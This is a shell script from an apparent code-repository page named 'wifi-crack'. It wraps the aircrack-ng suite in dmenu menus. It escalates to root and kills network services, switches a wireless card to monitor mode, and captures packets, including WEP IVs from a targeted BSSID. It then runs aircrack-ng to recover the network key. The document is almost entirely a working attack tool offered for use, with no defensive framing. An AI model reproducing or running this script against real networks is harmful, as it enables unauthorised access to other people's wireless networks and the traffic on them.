-
Notifications
You must be signed in to change notification settings - Fork 7
/
wifi-crack
executable file
·131 lines (108 loc) · 2.86 KB
/
wifi-crack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/bin/sh
#
#
XTERM=${XTERM:-xterm}
alias dmenu='dmenu -nb "#333" -nf "#ccc" -sb "#111" -sf "#ff0"'
WLANS=$(echo /sys/class/net/wl* | sed "s%[^ ]*/%%g")
step() {
cmd=$(dmenu -l 4 -p "$1")
[ -z "$cmd" ] || $XTERM -e sh -xc "$cmd;echo Press any key..;read"
}
# Only root may pass
if [ "$(id -u)" = "0" ]
then
echo "Running as root!"
continue
elif { gksudo -v && gksudo -l $0 "$@"; } >/dev/null 2>&1
then
exec gksudo -E $0 "$@"
elif sudo -v &>/dev/null && sudo -l $0 "$@" &>/dev/null
then
exec sudo -E $0 "$@"
else
echo -n "root "
exec su -c "$(printf '%q ' "$@")"
fi
msg() {
echo "$@" | xmessage -file -
}
#############
if [ "$WLANS" = "/sys/class/net/wl*" ]; then
msg "No wireless interface found"
exit 1
fi
for dep in airmon-ng airodump-ng aircrack-ng dmenu
do
if ! hash "$dep" 2>/dev/null; then
msg "The required program '$dep' must be installed"
exit 2
fi
done
#############
{
cat <<EOF
Wireless interfaces found: ${WLANS}
Scanning ${WLANS%% *} for available networks..
----------------------------------------------
EOF
for i in $(seq 5); do
wpa_cli -i ${WLANS%% *} scan >/dev/null || continue
wpa_cli -i ${WLANS%% *} scan_results && break
done | sed 's#/#\t#g' | column -t -s " " # tab-separated fields
cat <<EOF
----------------------------------------------
Table of frequencies and channels:
Channel Frequency (MHz)
1 2412
2 2417
3 2422
4 2427
5 2432
6 2437
7 2442
8 2447
9 2452
10 2457
11 2462
12 2467 (illegal in USA)
13 2472 (illegal in USA)
14 2484 (only legal in Japan)
EOF
} | xmessage -file -
#gksudo iwlist $WLANI scan | xmessage -file -
cat <<EOF | step '1. Check (and kill) programs that could interfere with the wireless card'
systemctl stop wicd networkmanager wpa_supplicant; airmon-ng check kill
/etc/rc.d/wicd stop; /etc/rc.d/networkmanager stop; pkill wpa_; airmon-ng check kill
airmon-ng check kill
airmon-ng check
exit # skip this step
EOF
{ for iw in $WLANS; do
cat <<EOF
airmon-ng stop mon0; airmon-ng start $iw
airmon-ng stop mon0; airmon-ng start $iw 2 # (channel 2)
airmon-ng start $iw
EOF
done
echo 'exit # skip this step'
} | step '2. Start monitor mode (specify channel if wanted)'
MONS=$(echo /sys/class/net/mon* | sed "s%[^ ]*/%%g")
{ for mon in $MONS; do
cat <<EOF
airodump-ng $mon -w ./wificrack --ivs --encrypt WEP # only WEP
airodump-ng $mon -w ./wificrack --ivs -c 11 --bssid 00:01:E3:08:4C:9D
airodump-ng $mon -w ./wificrack
EOF
done
echo 'exit # skip this step'
} | step '3. Collect packets (must keep the terminal open)' &
# wait for dmenu to finish before we can launch it again
while pidof dmenu > /dev/null
do sleep 0.5
done
sleep 3s # also wait for some packets
cat <<EOF | step '4. Use collected packets to crack encryption'
aircrack-ng ./wificrack*.ivs -l key -f 100 # WEP increased tries (if low number of IV)
aircrack-ng ./wificrack*.ivs -l key # WEP
exit
EOF